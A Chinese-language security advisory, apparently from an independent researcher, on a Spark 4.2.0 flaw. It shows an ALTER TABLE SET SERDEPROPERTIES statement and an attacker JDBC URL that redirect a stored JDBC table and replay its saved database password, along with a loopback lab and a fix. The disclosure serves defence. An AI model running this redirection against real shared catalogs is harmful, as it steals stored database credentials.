abraxaslabs.tech · github.com/abraxas · @abraxas_null · [email protected] · spark-jdbc-serde-url
技术文章:https://abraxaslabs.tech/research/spark-jdbc-serde-url
类别: JDBC URL 注入 可达性: 远程
Apache Spark 4.2.0 (32f72996) - Apache Software Foundation
SPARK-31710 阻止了扫描时额外选项覆盖已存储的 JDBC url。ALTER TABLE SET SERDEPROPERTIES 仍会合并进 storage.properties,而后者正是 JDBC 扫描选项映射。已存储的 user / password 并非 Spark JDBC 选项名,因此它们会被带到新的 URL 上。
共享目录的 SQL 用户可以将运维人员配置的 USING jdbc 表重定向,并将已存储的数据库密码重放到其自行选择的主机上。
| ID | 暂无 CVE |
| 类别 | JDBC URL 注入 / 存储凭据复用(SPARK-31710 的遗留问题) |
| 可达性 | 远程(共享目录上的 Connect 或 Hive Thrift SQL) |
| CWE | CWE-15、CWE-522 |
| CVSS | 高危:8.1 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N |
| 产品 | Apache Spark |
| 受影响版本 | 4.2.0(32f7299601108917fb01920a54e084595b7b3bf8)SQL v1 JDBC 表 |
| 认证 | 共享目录 SQL 用户(非作业提交 jar) |
| 许可证 | GNU Affero GPL v3.0 |
| 实验环境 | 仅 127.0.0.1:18960 |
在共享 externalCatalog 上的 Connect gRPC SQL 会话或 Hive Thrift SQL 会话,该目录中已存在一张带存储凭据的持久化 USING jdbc 表。不是作业提交者。也不是命名原始 URL 的那个会话。
| 方法 | 汇聚点 | 权限影响 |
|---|---|---|
ALTER TABLE t SET SERDEPROPERTIES ('url' = '<attacker-jdbc>') 然后 REFRESH TABLE t / SELECT | storage.properties ++ serdeProperties 然后 JDBC Driver.connect(url, properties) | 完整性:将已配置的表重定向到攻击者监听器。实验已验证(connect=yes)。机密性:在 PostgreSQL 启动和明文认证过程中重放已存储的数据库 user / password。实验已验证(user-replay=true password-replay=true)。通过 SHOW CREATE 侦察该机密已被关闭(已脱敏)。 |
同样的持久化,之后租户对 t 执行 SELECT | 共享目录行 | 完整性,推断:其他会话对 t 的查询现在会命中新 URL(错误的数据库、攻击者控制的行)。可用性,推断:在管理员重置 serde 之前,原始数据库不可达。DoS 超出范围。 |
额外的 serde 键(sessionInitStatement、prepareQuery、driver) | 在遗留的 user / password 上的扫描选项 | 完整性,推断:额外语句或类路径 Driver 无参构造函数。在没有默认类路径 gadget 的情况下不要夸大为 RCE。未实际验证。 |
ALTER TABLE SET TBLPROPERTIES | 仅 CatalogTable.properties | 本次走查中已关闭。实验已验证(storage url 未变,未命中 oracle)。 |
扫描时额外选项 url 冲突 | SPARK-31710 generateDatasourceOptions | 已关闭。实验已验证(extra-options-clash 被拒绝)。 |
同一会话命名的 spark.read.format("jdbc").option("url", ...) | 预期的数据平面 | 排除。由所有者控制的 URL 并非此遗留问题。 |
在数据源表上执行 SET SERDE '<class>' | 类名 | 已关闭(UNSUPPORTED_FEATURE.ALTER_TABLE_SERDE_FOR_DATASOURCE_TABLE)。未实际验证。 |
相邻的已关闭项: 以会话命名的 JDBC / 文件路径。spark.sql.legacy.extraOptionsBehavior 冲突检查。OSS Spark 没有 Unity 的 externalOptionsAllowList。CREATE TABLE 的 URL 由所有者控制(不是这个遗留项)。JDBC URL 日志脱敏是无条件的。文件表的 path 位于 locationUri 中。JDBCTableCatalog 连接来自会话 catalog 配置(与选择 URL 属于同一数据平面)。单用户 pyspark 且无共享 catalog 的情况不在模型范围内。
我固定使用 Spark 4.2.0,而不是 master,也不是 4.3 RC。在开放集群上提交作业是设计使然。有意思的遗留项就位于已命名修复的旁边。SPARK-31710 / generateDatasourceOptions 会拒绝为已有 serde 键使用不同的扫描时 url。SET TBLPROPERTIES 只写入 table.properties。数据源表仍然允许 SET SERDEPROPERTIES,并合并到 storage.properties(++,后出现的键胜出)。user 和 password 永远不会进入 jdbcOptionNames,因此 asConnectionProperties 会将它们交给 Driver.connect。
properties = table.storage.properties ++ serdeProperties.getOrElse(Map())
driver.connect(jdbcOptions.url, properties)
SHOW CREATE 会隐去 password。SQL 用户无法读回该密钥,但仍可利用它。
已记录的错误方向:将 CREATE TABLE 的 url 当作漏洞;再次提交 extra-options 冲突;期望 SET TBLPROPERTIES 能迁移存储;声称 SHOW CREATE 泄露密码;在引用的 Scala 只是 gadget 时运行整个集群;反弹 shell。判定依据是 PostgreSQL 启动加上回环地址上的明文认证。
cd lab
./run.sh
回环地址 127.0.0.1:18960 是一个 PostgreSQL 协议监听器。HTTP 健康检查位于 127.0.0.1:18961。gadget 容器为 Temurin 21 加上 libpostgresql-jdbc-java。存储的 URL 为 jdbc:postgresql://127.0.0.1:1/provisioned(连接被拒绝)。攻击 URL 为 jdbc:postgresql://oracle:18960/stolen。存储的用户名为 spark_jdbc。存储的密码为 stored-secret-SPARK-JDBC-SERDE-URL。将其绑定到回环地址。
SUCCESS SPARK-JDBC-SERDE-URL connect=yes user-replay=true password-replay=true SPARK-JDBC-SERDE-URL-WITNESS
拒绝与已存储的 JDBC url / user / password 冲突的 SET SERDEPROPERTIES 键,这与 generateDatasourceOptions 在扫描时对额外选项执行的检查相同。或者在 url 变更时丢弃已存储的 user / password。或者将数据源 JDBC serde 视为表属性,而非存储属性。在此之前,不要向不可信 SQL 授予对存储了密码的持久化 USING jdbc 表的 ALTER TABLE 权限。
32f7299601108917fb01920a54e084595b7b3bf8)ddl.scala AlterTableSerDePropertiesCommandDataSource.scala buildStorageFormatFromOptionsDataSourceUtils.scala generateDatasourceOptionsBasicConnectionProvider.scalaJDBCOptions.scala